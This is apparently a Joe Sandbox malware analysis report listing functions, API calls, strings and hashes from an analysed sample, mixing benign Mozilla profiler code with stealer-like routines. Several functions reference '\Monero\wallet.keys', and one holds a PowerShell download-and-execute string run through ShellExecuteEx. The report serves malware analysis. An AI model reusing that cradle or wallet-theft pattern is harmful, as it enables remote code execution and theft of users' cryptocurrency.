CreateFileA.KERNEL32(:W,80000000,00000003,00000000,00000003,00000080,00000000,?,00573AEE,?), ref: 005792FC
GetFileSizeEx.KERNEL32(000000FF,:W), ref: 00579319
CloseHandle.KERNEL32(000000FF), ref: 00579327

Strings

:W, xrefs: 005792F8, 005792FB
:W, xrefs: 00579311, 0057933D, 00579314

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :W$:W
API String ID: 1378416451-2238429168
Opcode ID: 489e7cc30001d401db2a31fa69466b89de9ded739333317e31eca5eff7ba45c5
Instruction ID: 748e62062b24f8c1882492f54cad2ebcdc53cad73947bcdd5e0e83760f84f621
Opcode Fuzzy Hash: 489e7cc30001d401db2a31fa69466b89de9ded739333317e31eca5eff7ba45c5
Instruction Fuzzy Hash: D3F08C74E40208BBDB10DBB0EC08BAE7BB9FB88310F10CA54B615A72C0D6789600DB54

Function 6CACF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAC9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA94A68), ref: 6CAC945E
Part of subcall function 6CAC9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAC9470
Part of subcall function 6CAC9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAC9482
Part of subcall function 6CAC9420: __Init_thread_footer.LIBCMT ref: 6CAC949F

GetCurrentThreadId.KERNEL32 ref: 6CACF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CACF561

Part of subcall function 6CAC94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAC94EE
Part of subcall function 6CAC94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAC9508

GetCurrentThreadId.KERNEL32 ref: 6CACF577
AcquireSRWLockExclusive.KERNEL32(6CB0F4B8), ref: 6CACF585
ReleaseSRWLockExclusive.KERNEL32(6CB0F4B8), ref: 6CACF5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6CACF3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6CACF499
[I %d/%d] profiler_resume, xrefs: 6CACF239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CACF56A

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 55a1906f36047e3f735b16ab3978a8409280c74afccb7ef1720e7c2b617129ba
Instruction ID: e0a6bedfb62ec857f6e8840de90847ac56ef1d2f8ec38c4278051cbe8cc0ff52
Opcode Fuzzy Hash: 55a1906f36047e3f735b16ab3978a8409280c74afccb7ef1720e7c2b617129ba
Instruction Fuzzy Hash: 2FF05E76700204AFEE006B65DD48A6A7BBDEB962ADF100419EE0687701DB758845876A

Function 6CAC05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CABCFAE,?,?,?,6CA831A7), ref: 6CAC05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CABCFAE,?,?,?,6CA831A7), ref: 6CAC0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CA831A7), ref: 6CAC061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CA831A7), ref: 6CAC0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAC061B, 6CAC0625
<jemalloc>, xrefs: 6CAC05FA, 6CAC060F

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 362b9813bcd5ff98007d42a809513ff177376ef9d7a0fde22ba6beb11250d952
Instruction ID: 80ba88d8a43f809aafd736ca722218493cf6923f160e4fce9f12ec2883b0e9b5
Opcode Fuzzy Hash: 362b9813bcd5ff98007d42a809513ff177376ef9d7a0fde22ba6beb11250d952
Instruction Fuzzy Hash: 82E08CE2A0101037F5242256AC86DBBB61CDBC6178F080139FD0D83301EA9AAD1E51F6

Function 6CA905F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7084864e521a2978837f130018b3b9b6324e2c39ba061bffda061c8938557317
Instruction ID: 069c7413468db2e8322ee4685f53d9b5017f36b54b59940fe32cef665ad23ea5
Opcode Fuzzy Hash: 7084864e521a2978837f130018b3b9b6324e2c39ba061bffda061c8938557317
Instruction Fuzzy Hash: FDA15AB0A01745CFDB14CF29C594A9AFBF1BF48354F04866ED48A97B00E770A989CF90

Function 6CAE14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAE14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAE14E2
GetCurrentThreadId.KERNEL32 ref: 6CAE1546
InitializeConditionVariable.KERNEL32(?), ref: 6CAE15BA
free.MOZGLUE(?), ref: 6CAE16B4

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 1e94f75c0ff31b04639ebe5f9876ca681c4cb97c37b41b71abc54a7f86ef2709
Instruction ID: 7334326228c201476c9ab6181105500d1acf38f5aacc2c67d28be23db8e06fb5
Opcode Fuzzy Hash: 1e94f75c0ff31b04639ebe5f9876ca681c4cb97c37b41b71abc54a7f86ef2709
Instruction Fuzzy Hash: 8861E072A007549BDB118F24C980BEEB7B5BF89308F45851CEE8A57702DB31E989CBD1

Function 6CADDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CADDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CADD38A,?), ref: 6CADDC6F
free.MOZGLUE(?,?,?,?,?,6CADD38A,?), ref: 6CADDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CADD38A,?), ref: 6CADDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CADD38A,?), ref: 6CADDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CADD38A,?), ref: 6CADDD4A

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 8289e1b2426f2e3b84fbf9426a5b67e5d7b25e91af9403f31929f3d04ceadec2
Instruction ID: d57d6eb923e18da2bbe59a019da79a88a17a18b92d2ba681493ee49e923dcb22
Opcode Fuzzy Hash: 8289e1b2426f2e3b84fbf9426a5b67e5d7b25e91af9403f31929f3d04ceadec2
Instruction Fuzzy Hash: D2417AB5A00606DFCB00CFA9C98099AB7F5FF88314B564569D945ABB10D731FC44CFA0

Function 6CAC6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CABFA80: GetCurrentThreadId.KERNEL32 ref: 6CABFA8D
Part of subcall function 6CABFA80: AcquireSRWLockExclusive.KERNEL32(6CB0F448), ref: 6CABFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAC6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CAC67C8

Part of subcall function 6CAD4290: memcpy.VCRUNTIME140(?,?,6CAE2003,6CAE0AD9,?,6CAE0AD9,00000000,?,6CAE0AD9,?,00000004,?,6CAE1A62,?,6CAE2003,?), ref: 6CAD42C4

Strings

data, xrefs: 6CAC6593

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 197bd007bc62a5b0bb42838735915216a98d71c9623414b0415263b8ee8b9b17
Instruction ID: 8ea19c3c8f7d58a9bd6921f4c5107e5e4475921611ecc6ea1a1dea3dacccdf8c
Opcode Fuzzy Hash: 197bd007bc62a5b0bb42838735915216a98d71c9623414b0415263b8ee8b9b17
Instruction Fuzzy Hash: 8FD1AD75B043408FD724CF24C951BAEBBE5AFC5308F14492DE49A97B51EB30A889CB93

Function 6CABD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CA8EB57,?,?,?,?,?,?,?,?,?), ref: 6CABD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA8EB57,?), ref: 6CABD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CA8EB57,?), ref: 6CABD673
free.MOZGLUE(?), ref: 6CABD888

Strings

|Enabled, xrefs: 6CABD81E

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 982e279f9b812b8360610a486d1e400aa8e92a2d8cc60b46b67fb92f50a68251
Instruction ID: a642ea63add90052ab7e7aa71af9f3820141d9ecc226fa153ef604e798d19d2d
Opcode Fuzzy Hash: 982e279f9b812b8360610a486d1e400aa8e92a2d8cc60b46b67fb92f50a68251
Instruction Fuzzy Hash: 2BA1F3B0E003458FDB11CF69C4907EEBBF5AF49318F18815CD899AB745D735A889CBA1

Function 0056D400 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

Part of subcall function 00578B60: GetSystemTime.KERNEL32(00580E1A,0044A8A8,005805AE,?,?,005613F9,?,0000001A,00580E1A,00000000,?,00449188,?,\Monero\wallet.keys,00580E17), ref: 00578B86

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0056D481
lstrlen.KERNEL32(00000000), ref: 0056D698
lstrlen.KERNEL32(00000000), ref: 0056D6AC
DeleteFileA.KERNEL32(00000000), ref: 0056D72B

Strings

PD, xrefs: 0056D416

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID: PD
API String ID: 211194620-2666890729
Opcode ID: 5c6c4c537c5f675f71b829916ad50d3dd200e8a4868f6a18641c5f82eadc5a38
Instruction ID: dc60e2670c97d6ffde14bc267ba78ab1c3914bbd5b56c8f55b262e0983c8e80a
Opcode Fuzzy Hash: 5c6c4c537c5f675f71b829916ad50d3dd200e8a4868f6a18641c5f82eadc5a38
Instruction Fuzzy Hash: EE91F1729101059ACB04FBA4EC9ADEE7B38BFD4300F50C168F51B66091EF346A09DB66

Function 0057C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 0057C8BF
___crtGetStringTypeA.LIBCMT ref: 0057C8EC
___crtLCMapStringA.LIBCMT ref: 0057C90C
___crtLCMapStringA.LIBCMT ref: 0057C931

Strings

, xrefs: 0057C896

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 95c6cea6e27fa29b7c6135d6c389f8ee577c36a0efb387cf21ab1824bb10c384
Instruction ID: b2a38746b6ab29df1637b13fd66b34215b2731e6ccf3f74697b477c7d90fea4d
Opcode Fuzzy Hash: 95c6cea6e27fa29b7c6135d6c389f8ee577c36a0efb387cf21ab1824bb10c384
Instruction Fuzzy Hash: 6341D7B150075C5EDB318B249C85BFB7FF9AF45704F1484ECEA8E96182D271AA44AF60

Function 6CABF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CABF480

Part of subcall function 6CA8F100: LoadLibraryW.KERNEL32(shell32,?,6CAFD020), ref: 6CA8F122
Part of subcall function 6CA8F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA8F132

CloseHandle.KERNEL32(00000000), ref: 6CABF555

Part of subcall function 6CA914B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA91248,6CA91248,?), ref: 6CA914C9
Part of subcall function 6CA914B0: memcpy.VCRUNTIME140(?,6CA91248,00000000,?,6CA91248,?), ref: 6CA914EF

Part of subcall function 6CA8EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CA8EEE3

CreateFileW.KERNEL32 ref: 6CABF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CABF523

Strings

\oleacc.dll, xrefs: 6CABF4CB

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 843a282fd8d7262eebd9c60e114b896739e55cf879db79274f9c5c20625297a2
Instruction ID: ab95547b2971e2bf36cbd2fd28008b256ce55dffdaa44609cbeada9843387ab0
Opcode Fuzzy Hash: 843a282fd8d7262eebd9c60e114b896739e55cf879db79274f9c5c20625297a2
Instruction Fuzzy Hash: 5041B1346087509FE720DF29CE84A9AB7F8AF84318F544B1CF69193650EB30D9C9CB92

Function 00572C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

ShellExecuteEx.SHELL32(0000003C), ref: 00572D85

Strings

<, xrefs: 00572D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00572D04
')", xrefs: 00572CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00572CC4

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
